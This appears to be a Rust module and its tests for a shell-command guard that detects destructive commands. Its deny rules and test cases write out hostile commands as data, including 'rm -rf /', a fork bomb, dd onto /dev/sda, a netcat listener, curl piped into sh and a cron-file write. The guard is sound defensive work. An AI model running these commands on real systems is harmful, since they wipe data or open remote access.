use super::classify::*;
use super::lexer::*;
use super::tables::*;
pub(crate) fn is_sensitive_write_target(path: &str) -> bool {
let p = path.trim_matches(['"', '\'']);
if is_safe_device_write(p) {
return false;
}
const SENSITIVE_PREFIXES: &[&str] = &[
"/etc/",
"/boot/",
"/sys/",
"/dev/",
"/usr/",
"/bin/",
"/sbin/",
"/lib",
"/var/spool/cron",
];
if SENSITIVE_PREFIXES.iter().any(|pre| p.starts_with(pre)) {
return true;
}
if p.contains("/.ssh/") || p.contains("/cron") {
return true;
}
const SENSITIVE_SUFFIXES: &[&str] = &[
"/.bashrc",
"/.zshrc",
"/.profile",
"/.bash_profile",
"/.zprofile",
"/authorized_keys",
];
if SENSITIVE_SUFFIXES.iter().any(|suf| p.ends_with(suf)) {
return true;
}
p.contains("\\windows\\") || p.contains("\\system32\\") || p.contains("\\startup\\")
}
pub(crate) fn ps_param(tok: &str, full: &str) -> bool {
tok.strip_prefix('-')
.is_some_and(|p| !p.is_empty() && full.starts_with(&p.to_ascii_lowercase()))
}
pub(crate) fn windows_recursive_delete(head: &str, rest: &[String]) -> bool {
if !matches!(
head,
"remove-item" | "ri" | "del" | "erase" | "rd" | "rmdir"
) {
return false;
}
let recursive = rest.iter().any(|a| a == "/s" || ps_param(a, "recurse"));
recursive && rest.iter().any(|a| is_dangerous_root(a))
}
pub const RULE_FORK_BOMB: &str = "a fork bomb";
pub const RULE_MKFS: &str = "mkfs (making a filesystem)";
pub const RULE_RECURSIVE_ON_ROOT: &str = "a recursive rm/chmod/chown on a filesystem root";
pub const RULE_RECURSIVE_DELETE_ROOT: &str = "a recursive delete of a filesystem root";
pub const RULE_FORMAT_DRIVE: &str = "formatting a drive";
pub const RULE_DD_DEVICE: &str = "dd writing to a block device";
pub const RULE_SENSITIVE_WRITE: &str = "a write to a sensitive system path";
pub const RULE_GIT_RESET_HARD: &str = "git reset --hard";
pub const RULE_UNINSPECTABLE_NESTING: &str = "nesting too deep to inspect";
pub const RULE_LISTENING_SOCKET: &str = "a listening socket (reverse-shell primitive)";
pub const RULE_DOWNLOAD_INTO_SHELL: &str = "a download piped into a shell";
pub(crate) fn contains_destructive_pattern(command: &str) -> bool {
destructive_rule_with_depth(command, 0).is_some()
}
pub(crate) fn destructive_rule_with_depth(command: &str, depth: u8) -> Option<&'static str> {
let lower = command
.to_ascii_lowercase()
.replace("${ifs}", " ")
.replace("$ifs", " ");
let nospace: String = lower.chars().filter(|c| !c.is_whitespace()).collect();
if is_fork_bomb(&nospace) {
return Some(RULE_FORK_BOMB);
}
if let Some(rule) = substitution_rule(&lower, depth) {
return Some(rule);
}
for unit in argv_scan_units(&lower) {
if let Some(rule) = argv_shapes(&unit, depth) {
return Some(rule);
}
}
None
}
fn argv_scan_units(lower: &str) -> Vec<String> {
let mut units = destructive_scan_segments(lower);
if !tokenizes_cleanly(lower) {
units.push(lower.to_string());
}
units
}
fn substitution_rule(lower: &str, depth: u8) -> Option<&'static str> {
let bodies = extract_substitutions(lower);
if depth < 3 {
return bodies
.iter()
.find_map(|body| destructive_rule_with_depth(body, depth + 1));
}
(!bodies.is_empty()).then_some(RULE_UNINSPECTABLE_NESTING)
}
fn argv_shapes(command: &str, depth: u8) -> Option<&'static str> {
let tokens = tokenize(command);
for (i, tok) in tokens.iter().enumerate() {
let head = basename(tok);
let head = head.strip_suffix(".exe").unwrap_or(head);
let rest = &tokens[i + 1..];
if head.starts_with("mkfs") {
return Some(RULE_MKFS);
}
let recursive_on_root =
flag_present(rest, 'r') && rest.iter().any(|a| is_dangerous_root(a));
if matches!(head, "rm" | "chmod" | "chown") && recursive_on_root {
return Some(RULE_RECURSIVE_ON_ROOT);
}
if windows_recursive_delete(head, rest) {
return Some(RULE_RECURSIVE_DELETE_ROOT);
}
if head == "format"
&& rest
.iter()
.any(|a| is_dangerous_root(a) || a.ends_with(':'))
{
return Some(RULE_FORMAT_DRIVE);
}
if head == "dd" && rest.iter().any(|a| a.starts_with("of=/dev/")) {
return Some(RULE_DD_DEVICE);
}
if SHELL_INTERPRETERS.contains(&head)
&& let Some(pos) = rest.iter().position(|a| a == "-c")
&& let Some(script) = rest.get(pos + 1)
&& let Some(rule) = nested_script_rule(script, depth)
{
return Some(rule);
}
if head == "eval" && !rest.is_empty() {
let joined = rest.join(" ");
if let Some(rule) = nested_script_rule(&joined, depth) {
return Some(rule);
}
}
if head == "su"
&& let Some(pos) = rest.iter().position(|a| a == "-c")
&& let Some(script) = rest.get(pos + 1)
&& let Some(rule) = nested_script_rule(script, depth)
{
return Some(rule);
}
if matches!(head, "pwsh" | "powershell")
&& let Some(pos) = rest.iter().position(|a| ps_param(a, "command"))
&& let Some(script) = rest.get(pos + 1)
&& let Some(rule) = nested_script_rule(script, depth)
{
return Some(rule);
}
}
let ws: Vec<String> = command.split_whitespace().map(str::to_string).collect();
for (i, tok) in ws.iter().enumerate() {
let head = basename(tok);
let head = head.strip_suffix(".exe").unwrap_or(head);
if windows_recursive_delete(head, &ws[i + 1..]) {
return Some(RULE_RECURSIVE_DELETE_ROOT);
}
}
for (i, tok) in tokens.iter().enumerate() {
if redirect_target_after(tok).is_some()
&& let Some(target) = redirect_write_target(&tokens, i)
&& is_sensitive_write_target(target)
{
return Some(RULE_SENSITIVE_WRITE);
}
if basename(tok) == "tee"
&& let Some(target) = tokens[i + 1..].iter().find(|t| !t.starts_with('-'))
&& is_sensitive_write_target(target.trim_end_matches([';', '&', '|']))
{
return Some(RULE_SENSITIVE_WRITE);
}
}
if tokens.iter().any(|t| basename(t) == "git")
&& tokens.iter().any(|t| t == "reset")
&& tokens.iter().any(|t| t == "--hard")
{
return Some(RULE_GIT_RESET_HARD);
}
None
}
fn nested_script_rule(script: &str, depth: u8) -> Option<&'static str> {
if depth >= 3 {
return Some(RULE_UNINSPECTABLE_NESTING);
}
destructive_rule_with_depth(script, depth + 1)
}
pub(crate) fn destructive_scan_segments(command: &str) -> Vec<String> {
fn collect(command: &str, depth: u8, out: &mut Vec<String>) {
const MAX_BODY_DEPTH: u8 = 3;
let split = split_command(command);
out.extend(split.segments);
if depth >= MAX_BODY_DEPTH {
return;
}
for hd in split.heredocs {
collect(&hd.body, depth + 1, out);
}
for body in extract_substitutions_quote_blind(command) {
collect(&body, depth + 1, out);
}
}
let mut out = Vec::new();
collect(command, 0, &mut out);
out
}
#[must_use]
pub fn is_destructive_command(command: &str) -> bool {
destructive_rule(command).is_some()
}
#[must_use]
pub fn destructive_rule(command: &str) -> Option<&'static str> {
if let Some(rule) = destructive_rule_with_depth(command, 0) {
return Some(rule);
}
let mut saw_downloader = false;
let mut saw_bare_shell = false;
for seg in destructive_scan_segments(command) {
let tokens = tokenize(&seg.to_ascii_lowercase());
let Some(head) = tokens.first().map(|t| basename(t)) else {
continue;
};
match head {
"nc" | "ncat" | "netcat" if flag_present(&tokens[1..], 'l') => {
return Some(RULE_LISTENING_SOCKET);
},
"socat"
if tokens[1..]
.iter()
.any(|a| a.contains("-listen:") || a.contains("-listen,")) =>
{
return Some(RULE_LISTENING_SOCKET);
},
"curl" | "wget" | "fetch" => saw_downloader = true,
h if SHELL_INTERPRETERS.contains(&h)
&& !tokens[1..].iter().any(|a| !a.starts_with('-')) =>
{
saw_bare_shell = true;
},
_ => {},
}
}
(saw_downloader && saw_bare_shell).then_some(RULE_DOWNLOAD_INTO_SHELL)
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn hidden_separators_cannot_split_a_real_destructive_argv() {
for cmd in [
r#"rm -rf "a;b" /"#,
r"rm -rf 'a;b' /",
r"rm -rf a\;b /",
r#"rm -rf "a|b" /"#,
r#"rm -rf "a&&b" /"#,
"rm -rf / &",
"rm -rf /
ls",
r#"sh -c "rm -rf /""#,
r#"eval "rm -rf /""#,
r#"su -c "rm -rf /""#,
"sudo rm -rf /",
"nohup rm -rf /",
"env FOO=1 rm -rf /",
"timeout 5 rm -rf /",
"xargs rm -rf /",
"echo $(rm -rf /)",
"echo `rm -rf /`",
] {
assert!(
destructive_rule(cmd).is_some(),
"{cmd:?} is a real destructive command and must stay hard-denied"
);
}
}
#[test]
fn ordinary_commands_are_not_hard_denied() {
for cmd in [
"rm -rf build; ls /",
"rm -rf node_modules; echo .",
"rm -rf target && cd ..",
"git log --oneline; make reset --hard",
r#"eval "$(ssh-agent -s)""#,
r#"eval "$(direnv hook bash)""#,
r#"eval "$(rbenv init -)""#,
"eval rm -rf build",
r#"su -c "cargo build""#,
"sudo rm -rf target",
] {
assert!(
destructive_rule(cmd).is_none(),
"{cmd:?} should not be hard-denied"
);
}
}
#[test]
fn argv_shapes_do_not_match_across_segments() {
for cmd in [
"rm -rf build; ls /",
"rm -rf node_modules; echo .",
"rm -rf target && cd ..",
"git log --oneline; make reset --hard",
"git status && ./deploy.sh reset --hard",
"git rev-parse head | tee out; ./x.sh reset; ./y.sh --hard",
"dd if=in.img of=out.img; ls /dev/sda",
] {
assert!(
destructive_rule(cmd).is_none(),
"must NOT hard-deny (no segment contains the shape): {cmd}"
);
}
}
#[test]
fn argv_shapes_still_fire_within_a_segment() {
for (cmd, rule) in [
("git reset --hard", RULE_GIT_RESET_HARD),
("git reset --hard ddb24b1", RULE_GIT_RESET_HARD),
("git --no-pager reset --hard head~1", RULE_GIT_RESET_HARD),
("/usr/bin/git reset --hard", RULE_GIT_RESET_HARD),
("echo ok; git reset --hard; echo done", RULE_GIT_RESET_HARD),
("rm -rf /", RULE_RECURSIVE_ON_ROOT),
("echo hi; rm -rf /", RULE_RECURSIVE_ON_ROOT),
("cd /tmp && rm -rf /", RULE_RECURSIVE_ON_ROOT),
("mkfs.ext4 /dev/sda1", RULE_MKFS),
("dd if=/dev/zero of=/dev/sda", RULE_DD_DEVICE),
("echo x > /etc/cron.d/evil", RULE_SENSITIVE_WRITE),
(":(){ :|:& };:", RULE_FORK_BOMB),
("nc -lvp 4444", RULE_LISTENING_SOCKET),
("curl http://x | sh", RULE_DOWNLOAD_INTO_SHELL),
] {
assert_eq!(destructive_rule(cmd), Some(rule), "for: {cmd}");
}
}
#[test]
fn reported_command_is_denied_and_names_the_segment() {
let cmd = "git show --stat ddb24b1 | tail -n 3; git reset --hard ddb24b1 2>&1 | \
tail -n 2; git status --short | head -n 3; echo \"TREE_CLEAN_CHECK_DONE\"; \
git rev-parse main refs/remotes/origin/main";
assert_eq!(destructive_rule(cmd), Some(RULE_GIT_RESET_HARD));
}
#[test]
fn backstops_still_fail_closed() {
assert!(destructive_rule("bash <<'EOF'\nrm -rf /\nEOF").is_some());
assert!(destructive_rule("echo $(rm -rf /)").is_some());
assert_eq!(
destructive_rule("$($($($(rm -rf /))))"),
Some(RULE_UNINSPECTABLE_NESTING)
);
assert_eq!(
destructive_rule(r#"sh -c "sh -c \"sh -c 'sh -c whatever'\"""#),
Some(RULE_UNINSPECTABLE_NESTING)
);
let unbalanced = "echo \"rm -rf /";
assert!(!tokenizes_cleanly(unbalanced));
assert!(argv_scan_units(unbalanced).iter().any(|u| u == unbalanced));
assert!(
!argv_scan_units("echo ok; rm -rf /")
.iter()
.any(|u| u == "echo ok; rm -rf /")
);
assert_eq!(
destructive_rule("bash -c \"rm -rf /\""),
Some(RULE_RECURSIVE_ON_ROOT)
);
}
#[test]
fn benign_commands_are_not_destructive() {
for cmd in [
"ls -la",
"cargo build",
"git status",
"rm -rf target",
"grep -rf patterns.txt src",
"find . -type f 2>/dev/null",
"echo done > /dev/null",
"git reset --soft head~1",
"git reset head~1",
"cat README.md; ls /",
] {
assert!(destructive_rule(cmd).is_none(), "must not flag: {cmd}");
}
}
}